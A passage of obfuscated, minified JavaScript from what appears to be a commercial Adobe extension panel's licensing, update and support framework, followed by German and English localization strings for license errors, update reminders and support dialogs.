                }(16, 72, 82, 81, 80, 68, 94) + 31..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 14..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + 592..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("")), i += t, a.setPanelFlyoutMenu(i)
            }

            function e() {
                return z("About & License\u2026")
            }

            function t() {
                a.updatePanelMenuItem.apply(a, arguments)
            }

            function i() {
                var A = a.getSystemPath(o.EXTENSION),
                    e = A + "/custom/help.html";
                if (!window.cep.fs.readFile(e).data) throw new Error(function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 8 - t)
                    }).join("")
                }(61, 173, 180, 188, 181, 168) + 16..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 30701..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 724009..toString(36).toLowerCase() + 607..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 29 - t)
                    }).join("")
                }(39, 121, 182, 183, 187, 185, 186, 167) + 812077..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 641..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 36 - t)
                    }).join("")
                }(14, 159) + 21..toString(36).toLowerCase());
                a.openURLInDefaultBrowser("file://" + A + "/custom/help.html")
            }

            function r(A) {
                switch (A.data.menuId) {
                    case
                    function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 13 - t)
                        }).join("")
                    }(32, 162, 147, 142) + 25..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 28 - t)
                        }).join("")
                    }(46, 175, 177, 188, 192, 120) + 1058..toString(36).toLowerCase():
                        B("update", void 0);
                        break;
                    case
                    function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 45 - t)
                        }).join("")
                    }(8, 168, 170, 155, 150) + 30..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 13380..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 19 - t)
                        }).join("")
                    }(63, 199) + 29..toString(36).toLowerCase():
                        B("about", void 0);
                        break;
                    case
                    function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 23 - t)
                        }).join("")
                    }(48, 173, 168) + 1033..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 28..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 53 - t)
                        }).join("")
                    }(27, 197) + 33324..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 45 - t)
                        }).join("")
                    }(52, 214, 211):
                    case 485737..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 15..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 18 - t)
                        }).join("")
                    }(48, 170, 167, 167, 168, 168, 167) + 20..toString(36).toLowerCase():
                        B("support", "customer-care");
                        break;
                    case
                    function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 40 - t)
                        }).join("")
                    }(24, 114, 179, 181, 166, 161) + 718373..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 25 - t)
                        }).join("")
                    }(0, 128, 140, 142):
                        B("support", "inspiration-submission");
                        break;
                    case 485737..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 0 - t)
                        }).join("")
                    }(35, 141, 154, 134, 81):
                        B("support", "bug-report");
                        break;
                    case 485737..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 44 - t)
                        }).join("")
                    }(46, 197, 209, 195, 195, 193, 205, 202) + 840..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 7 - t)
                        }).join("")
                    }(25, 133) + 28..toString(36).toLowerCase():
                        c();
                        break;
                    case
                    function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 9 - t)
                        }).join("")
                    }(18, 144, 129, 124) + 25..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 18 - t)
                        }).join("")
                    }(34, 155, 157, 98) + 21..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 12 - t)
                        }).join("")
                    }(42, 166):
                        g();
                        break;
                    default:
                        l(A)
                }
            }

            function n(e) {
                var t = "",
                    r = e[927..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 53 - t)
                        }).join("")
                    }(28, 189, 186, 196, 186, 198, 184, 184, 182) + 28..toString(36).toLowerCase() + 19..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -39)
                    }).join("") + 640928100..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 23 - t)
                        }).join("")
                    }(30, 160)];
                r ? (c = r, s = !0) : s = !1;
                var o = e[22557..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 3 - t)
                    }).join("")
                }(18, 132, 120, 89, 133) + 994404..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 12 - t)
                    }).join("")
                }(27, 146)];
                g = o || i;
                var n = e[777327430..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 45 - t)
                    }).join("")
                }(7, 131, 178, 170, 160, 135, 173, 173, 166, 175, 161, 122) + 857..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 12 - t)
                    }).join("")
                }(29, 147, 155) + 532..toString(36).toLowerCase()];
                if (n) {
                    var I = n[function() {
                            var A = Array.prototype.slice.call(arguments),
                                e = A.shift();
                            return A.reverse().map(function(A, t) {
                                return String.fromCharCode(A - e - 31 - t)
                            }).join("")
                        }(34, 185) + 22..toString(36).toLowerCase() + function() {
                            var A = Array.prototype.slice.call(arguments),
                                e = A.shift();
                            return A.reverse().map(function(A, t) {
                                return String.fromCharCode(A - e - 27 - t)
                            }).join("")
                        }(13, 148)],
                        B = n[573609..toString(36).toLowerCase() + function() {
                            var A = Array.prototype.slice.call(arguments),
                                e = A.shift();
                            return A.reverse().map(function(A, t) {
                                return String.fromCharCode(A - e - 59 - t)
                            }).join("")
                        }(23, 180, 180) + 452..toString(36).toLowerCase()];
                    if (!I) throw new Error(function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 55 - t)
                        }).join("")
                    }(21, 161, 208, 200, 190, 165, 203, 203, 196, 205, 191, 152, 190, 191, 195, 193, 194, 175) + 1440714484..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 1066349..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 807242..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 10..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 16 - t)
                        }).join("")
                    }(45, 180, 166, 176, 174, 176, 173) + 1078..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 1210..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 50 - t)
                        }).join("")
                    }(29, 187));
                    if (!B) throw new Error(777327430..toString(36).toLowerCase() + 22..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -39)
                    }).join("") + 28464..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 63 - t)
                        }).join("")
                    }(62, 256, 257, 248, 170, 252, 237, 240, 248, 249, 242, 200, 247, 239, 229, 204, 242, 242) + 29..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 807242..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 10..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 2019371093350..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 26762316132..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 16 - t)
                        }).join("")
                    }(21, 144));
                    t = I, l = B
                }(A(t), -1 != a.getOSInformation().indexOf("Win")) && setTimeout(function() {
                    A(t)
                }, 2e4)
            }
            var s, a = new I,
                l = function() {},
                c = function() {},
                g = function() {};
            a.addEventListener(function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 50 - t)
                }).join("")
            }(28, 189, 190, 177) + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 17434202..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 12..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 43 - t)
                }).join("")
            }(18, 185, 178, 168, 184, 166, 110, 178, 182, 176) + 28..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 15..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 54 - t)
                }).join("")
            }(26, 195, 200, 191, 196, 198, 156, 205, 197, 187, 162, 200, 200, 193, 202, 188) + 13..toString(36).toLowerCase(), r);
            var h = {};
            return h[18..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 40 - t)
                }).join("")
            }(6, 152, 156) + 29..toString(36).toLowerCase()] = n, h[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 30 - t)
                }).join("")
            }(47, 192, 184, 192, 178, 160, 195, 179, 192) + 22..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + 36890453..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 28 - t)
                }).join("")
            }(33, 138) + 19002..toString(36).toLowerCase()] = A, h[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 14 - t)
                }).join("")
            }(50, 168, 150, 170, 184, 164, 166, 177, 181) + 30333..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + 527..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 51 - t)
                }).join("")
            }(28, 183, 197, 153, 196) + 22..toString(36).toLowerCase()] = t, h
        }(),
        R = (function() {
            function A(A, e, t, i, r) {
                var o = e,
                    n = i,
                    s = r;
                return o + "onClick=\"new CSInterface().openURLInDefaultBrowser('" + n.substring(1, n.length - 1) + "');\"" + s
            }

            function e(e) {
                var t = /(<a\s+[^>]*)(href\s*=\s*("[^"]*"|'[^']*'))([^>]*>)/gi;
                return e.replace(t, A)
            }
        }(), function() {
            function A() {
                return (new I).getHostEnvironment().appLocale.split("_")[0]
            }

            function e() {
                for (var A = arguments[0], e = 0; e < arguments.length - 1; e++) {
                    var t = new RegExp("\\{" + e + "\\}", "gm");
                    A = A.replace(t, arguments[e + 1])
                }
                return A
            }

            function t(t) {
                var i = A();
                r[i] || (i = "en");
                var o = r[i][t];
                if (void 0 === o && (o = r.en[t]), void 0 === o) throw new Error("invalid localization key '" + t + "'");
                if (1 == arguments.length) return o;
                for (var n = [o], s = 1; s < arguments.length; s++) n.push(arguments[s]);
                return e.apply(this, n)
            }

            function i(A, e) {
                void 0 === r[A] && (r[A] = {});
                for (var t in e) r[A][t] = e[t]
            }
            var r = {},
                o = {};
            return o[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 10 - t)
                }).join("")
            }(30, 119, 158, 142, 143) + 52986170714..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 24 - t)
                }).join("")
            }(50, 183, 191, 192, 158, 174) + 23..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 20 - t)
                }).join("")
            }(48, 171)] = t, o[13441..toString(36).toLowerCase() + 10..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -13)
            }).join("") + 35375..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 3 - t)
                }).join("")
            }(15, 127, 137, 117, 127, 133) + 887..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 10 - t)
                }).join("")
            }(11, 136)] = i, o[499881..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 39 - t)
                }).join("")
            }(43, 167, 203) + 682617..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 59 - t)
                }).join("")
            }(15, 171) + 29..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 7 - t)
                }).join("")
            }(36, 144)] = e, o
        }());
    R.addTranslations("de", {
        "lic.error.title.-1": "Ung\xfcltige Lizenz ({0})",
        "lic.error.detail.-1": "",
        "lic.error.title.-2": "Ung\xfcltige Lizenz ({0})",
        "lic.error.detail.-2": "",
        "lic.error.title.-3": "Lizenzdatei nicht gefunden ({0})",
        "lic.error.detail.-3": "",
        "lic.error.title.-4": "Lizenzdatei besch\xe4digt ({0})",
        "lic.error.detail.-4": "",
        "lic.error.title.-5": "Generischer Fehler ({0})",
        "lic.error.detail.-5": "",
        "lic.error.title.-6": "Ung\xfcltiger Produktname ({0})",
        "lic.error.detail.-6": "",
        "lic.error.title.-7": "Testversion ({0})",
        "lic.error.detail.-7": "",
        "lic.error.title.-8": "Ung\xfcltige Lizenz ({0})",
        "lic.error.detail.-8": "",
        "lic.error.title.-9": "Kann Server nicht kontaktieren ({0})",
        "lic.error.detail.-9": "Bitte stellen Sie sicher, dass der Lizenzserver ordnungsgem\xe4\xdf arbeitet",
        "lic.error.title.-10": "Keine freien Slots ({0})",
        "lic.error.detail.-10": "Auf dem Lizenzserver sind alle Lizenzen bereits vergeben",
        "lic.error.title.-11": "Unbekannte Lizenz ({0})",
        "lic.error.detail.-11": "Die Lizenz kann auf dem Lizenzserver nicht gefunden werden",
        "lic.error.title.-12": "Unbekannte Lizenz ({0})",
        "lic.error.detail.-12": "Die Lizenz konnte nicht deaktiviert werden, da sie dem Server unbekannt ist",
        "lic.error.title.-13": "Klient ist auf Blacklist ({0})",
        "lic.error.detail.-13": "Die IP-Adresse dieses Rechners ist \xfcber eine Blacklist auf dem Lizenzserver gesperrt",
        "lic.error.title.-14": "Keine Netzwerkkarte ({0})",
        "lic.error.detail.-14": "Konnte keine Netzwerkkarte finden",
        "lic.error.title.-100": "Testversion abgelaufen",
        "lic.error.detail.-100": "Eine Lizenz kann \xfcber den Button 'Lizenz Kaufen\u2026' erworben werden",
        "lic.error.detailWhenServerConfigured.-100": "Aktivieren Sie eine Lizenz vom Server mit <pre>@REMOTE</pre> oder geben Sie einen Lizenzcode ein",
        "lic.error.title.-101": "Konnte Ergebnis nicht parsen ({0})",
        "lic.error.detail.-101": "",
        "lic.error.title.-102": "Kein Ergebnis ({0})",
        "lic.error.detail.-102": "",
        "lic.error.title.-103": "Anzahl der Test-Tage nicht festgelegt ({0})",
        "lic.error.detail.-103": "Could not find the number of trial days",
        "lic.error.title.-104": "Ung\xfcltige Lizenz ({0})",
        "lic.error.detail.-104": "Die Lizenz ist nicht f\xfcr dieses Produkt",
        "lic.error.title.-105": "Beta-Lizenz nicht verwendbar ({0})",
        "lic.error.detail.-105": "Eine Beta-Lizenz kann f\xfcr diese Vollversion nicht verwendet werden",
        "lic.error.title.-106": "Bitte Lizenz installieren ({0})",
        "lic.error.detail.-106": "Dieses Produkt beinhaltet keine Testversion und ben\xf6tigt eine Lizenz",
        "lic.error.title.-107": "Bitte Lizenz installieren ({0})",
        "lic.error.detail.-107": "Diese Beta beinhaltet keine Testversion und ben\xf6tigt eine Lizenz",
        "lic.error.title.unknown": "Unbekannter Fehler ({0})",
        "lic.error.detail.unknown": "",
        "lic.details.regto": "Registriert f\xfcr: {0} {1}",
        "lic.details.typeAndAmount": "{0} f\xfcr {1} Nutzer",
        "lic.details.type.SUL": "Lizenz",
        "lic.details.type.BTA": "Beta-Lizenz",
        "lic.details.type.EDU": "EDU-Lizenz",
        "lic.details.type.FLT": "Floating-Lizenz",
        "lic.details.type.UNKNOWN": "License mit unbekanntem Typ",
        "lic.details.trial": "Testversion - noch {0} Tage g\xfcltig",
        "update.rev.plaintext": "v{0}{1} am {2}:\n{3}\n",
        "update.rev.html": '<p class="entry-version"><span class="highlighted">Version {0}</span> vom {2}</p><div class="entry-detail">{3}</div>',
        "update.check.progress": "Suche Updates\u2026",
        "update.check.failed": "Suche nach Updates fehlgeschlagen",
        "update.current": "neueste verf\xfcgbare Version",
        "update.installed-version": "installierte Version",
        "update.history": "Versionshistorie",
        "statusbar.trial.valid": "Testversion",
        "statusbar.trial.license": "Lizenzieren\u2026",
        "statusbar.trial.expired": "Testversion abgelaufen",
        "statusbar.invalidLicense.removed": "Lizenz entfernt ({0}). Bitte Panel erneut \xf6ffnen",
        "statusbar.invalidLicense.support": "Support",
        "statusbar.update.available": "Update verf\xfcgbar",
        "statusbar.update.details": "Details\u2026",
        "statusbar.update.remind.me": "Erinnern",
        "statusbar.update.remind.tomorrow": "Morgen",
        "statusbar.update.remind.nextWeek": "N\xe4chste Woche",
        "statusbar.update.remind.nextMonth": "N\xe4chsten Monat",
        "statusbar.update.remind.skipVersion": "Version \xfcberspringen",
        "statusbar.analytics.notification.message": "Erlaube Sammlung <italic>anonymisierter</italic> Nutzungsdaten",
        "statusbar.analytics.notification.ok": "OK",
        "statusbar.analytics.notification.deny": "Ablehnen",
        "flyoutMessage.header": "Fly-out-Men\xfc",
        "flyoutMessage.beforeIcon": "Klicken Sie auf den",
        "flyoutMessage.afterIcon": "Button oben rechts um:",
        "flyoutMessage.licenseProduct": "das Produkt zu lizenzieren",
        "flyoutMessage.readHelpFiles": "die Hilfe zu lesen",
        "flyoutMessage.checkUpdates": "nach Updates zu suchen",
        "flyoutMessage.getSupport": "Support zu erhalten",
        "flyoutMessage.changePrefs": "Einstellungen anzupassen",
        "dialog.btn.support": "Support",
        "dialog.btn.close": "Schlie\xdfen",
        "dialog.btn.retry": "Wiederholen",
        "dialog.btn.ok": "OK",
        "dialog.btn.remindMe": "Erinnern",
        "dialog.btn.download": "Download",
        "dialog.btn.license.buy": "Lizenz Kaufen\u2026",
        "dialog.btn.license.activate": "Lizenz Aktivieren",
        "dialog.btn.license.deactivate": "Lizenz Deaktivieren",
        "dialog.update.newVersion.BeforeVersionNumber": "Neue Version",
        "dialog.update.newVersion.AfterVersionNumber": "verf\xfcgbar!",
        "dialog.update.none.BeforeVersionNumber": "Version",
        "dialog.update.none.AfterVersionNumber": "ist die neueste Version",
        "dialog.update.currentVersion.BeforeVersionNumber": "Momentan installierte Version",
        "dialog.update.currentVersion.AfterVersionNumber": "",
        "dialog.update.remind.tomorrow": "Morgen",
        "dialog.update.remind.nextWeek": "N\xe4chste Woche",
        "dialog.update.remind.nextMonth": "N\xe4chsten Monat",
        "dialog.update.remind.skipVersion": "Diese Version \xdcberspringen",
        "dialog.support.subject.label": "Betreff",
        "dialog.support.email.label": "Email",
        "dialog.support.department.label": "Abteilung",
        "dialog.support.department.customerCare": "Kundenbetreuung",
        "dialog.support.department.inspirationSubmission": "Inspiration",
        "dialog.support.department.bugReport": "Fehlerbericht",
        "dialog.support.priority.label": "Priorit\xe4t",
        "dialog.support.priority.low": "Niedrig",
        "dialog.support.priority.medium": "Mittel",
        "dialog.support.priority.high": "Hoch",
        "dialog.support.priority.emergency": "Notfall",
        "dialog.support.message.label": "Nachricht",
        "dialog.support.message.systemDataMessage": "Anonyme Systemdaten werden mitgesendet",
        "dialog.btn.support.sendTicket": "Im Browser \xd6ffnen",
        "dialog.gather-analytics-checkbox": "Anonymisierte Analytics-Daten sammeln",
        "dialog.version-message-nyop": 'Das ist ein "Name Your Own Price" Produkt (frei w\xe4hlbarer Preis) und ben\xf6tigt keine Lizenz.',
        "dialog.version-message-free": "Das ist ein kostenloses Produkt und ben\xf6tigt keine Lizenz.",
        "dialog.version-message-freemium": "Das ist die kostenlose Version, die keine Lizenz ben\xf6tigt.",
        "dialog.btn.freemium-buy-pro-version": "Pro Version kaufen...",
        "lic.msg.temp-key.title": "Tempor\xe4re Lizenz eingegeben",
        "lic.msg.temp-key.detail": "Bitte tauschen Sie Ihre tempor\xe4re Lizenz hier aus:",
        "lic.msg.beta.expired": "Beta abgelaufen"
    }), R.addTranslations("en", {
        "lic.error.title.-1": "Invalid license ({0})",
        "lic.error.detail.-1": "",
        "lic.error.title.-2": "Invalid license ({0})",
        "lic.error.detail.-2": "",
        "lic.error.title.-3": "License file not found ({0})",
        "lic.error.detail.-3": "",
        "lic.error.title.-4": "License file corrupted ({0})",
        "lic.error.detail.-4": "",
        "lic.error.title.-5": "Generic error ({0})",
        "lic.error.detail.-5": "",
        "lic.error.title.-6": "Invalid product name ({0})",
        "lic.error.detail.-6": "",
        "lic.error.title.-7": "Trial ({0})",
        "lic.error.detail.-7": "",
        "lic.error.title.-8": "Invalid license ({0})",
        "lic.error.detail.-8": "",
        "lic.error.title.-9": "Cannot connect to server ({0})",
        "lic.error.detail.-9": "Please make sure the license server is running properly",
        "lic.error.title.-10": "No free slots ({0})",
        "lic.error.detail.-10": "There are no more free slots on the license server",
        "lic.error.title.-11": "Unknown license ({0})",
        "lic.error.detail.-11": "The license cannot be found on the license server",
        "lic.error.title.-12": "Unknown license ({0})",
        "lic.error.detail.-12": "The license you are trying to deactivate is not found on the license server",
        "lic.error.title.-13": "Client blacklisted ({0})",
        "lic.error.detail.-13": "Your client IP is blacklisted on the license server",
        "lic.error.title.-14": "No network adapter ({0})",
        "lic.error.detail.-14": "Could not find a network adapter",
        "lic.error.title.-100": "Trial expired",
        "lic.error.detail.-100": "You can purchase a license by clicking the button 'Buy License\u2026' below",
        "lic.error.detailWhenServerConfigured.-100": "Activate a license from the server with <pre>@REMOTE</pre> or enter a license code",
        "lic.error.title.-101": "Could not parse result ({0})",
        "lic.error.detail.-101": "",
        "lic.error.title.-102": "No result code ({0})",
        "lic.error.detail.-102": "",
        "lic.error.title.-103": "No trial days found ({0})",
        "lic.error.detail.-103": "Could not find the number of trial days",
        "lic.error.title.-104": "License mismatch ({0})",
        "lic.error.detail.-104": "The license is not for this product",
        "lic.error.title.-105": "Cannot use beta license ({0})",
        "lic.error.detail.-105": "A beta license cannot be used for the full version",
        "lic.error.title.-106": "Please install a license ({0})",
        "lic.error.detail.-106": "This product does not offer a trial and requires a license",
        "lic.error.title.-107": "Please install a license ({0})",
        "lic.error.detail.-107": "The beta version does not offer a trial and requires a license",
        "lic.error.title.unknown": "Unknown error ({0})",
        "lic.error.detail.unknown": "",
        "lic.details.regto": "Registered to: {0} {1}",
        "lic.details.typeAndAmount": "{0} for {1} user(s)",
        "lic.details.type.SUL": "License",
        "lic.details.type.BTA": "Beta License",
        "lic.details.type.EDU": "Educational License",
        "lic.details.type.FLT": "Floating License",
        "lic.details.type.UNKNOWN": "License of unknown type",
        "lic.details.trial": "Trial version - {0} days left",
        "update.rev.plaintext": "v{0}{1} on {2}:\n{3}\n",
        "update.rev.html": '<p class="entry-version"><span class="highlighted">Version {0}</span> from {2}</p><div class="entry-detail">{3}</div>',
        "update.check.progress": "Checking for updates\u2026",
        "update.check.failed": "Couldn't check for updates",
        "update.current": "newest available version",
        "update.installed-version": "installed version",
        "update.history": "Version History",
        "statusbar.trial.valid": "Trial Version",
        "statusbar.trial.license": "License\u2026",
        "statusbar.trial.expired": "Trial Expired",
        "statusbar.invalidLicense.removed": "License removed ({0}). Please reopen the panel",
        "statusbar.invalidLicense.support": "Support",
        "statusbar.update.available": "Update Available",
        "statusbar.update.details": "Details\u2026",
        "statusbar.update.remind.me": "Remind Me",
        "statusbar.update.remind.tomorrow": "Tomorrow",
        "statusbar.update.remind.nextWeek": "Next Week",
        "statusbar.update.remind.nextMonth": "Next Month",
        "statusbar.update.remind.skipVersion": "Skip Version",
        "statusbar.analytics.notification.message": "Allow <italic>anonymous</italic> analytics",
        "statusbar.analytics.notification.ok": "OK",
        "statusbar.analytics.notification.deny": "Deny",
        "flyoutMessage.header": "Fly-out Menu",
        "flyoutMessage.beforeIcon": "Click on the",
        "flyoutMessage.afterIcon": "button above to:",
        "flyoutMessage.licenseProduct": "License this product",
        "flyoutMessage.readHelpFiles": "Read the help files",
        "flyoutMessage.checkUpdates": "Check for updates",
        "flyoutMessage.getSupport": "Get support",
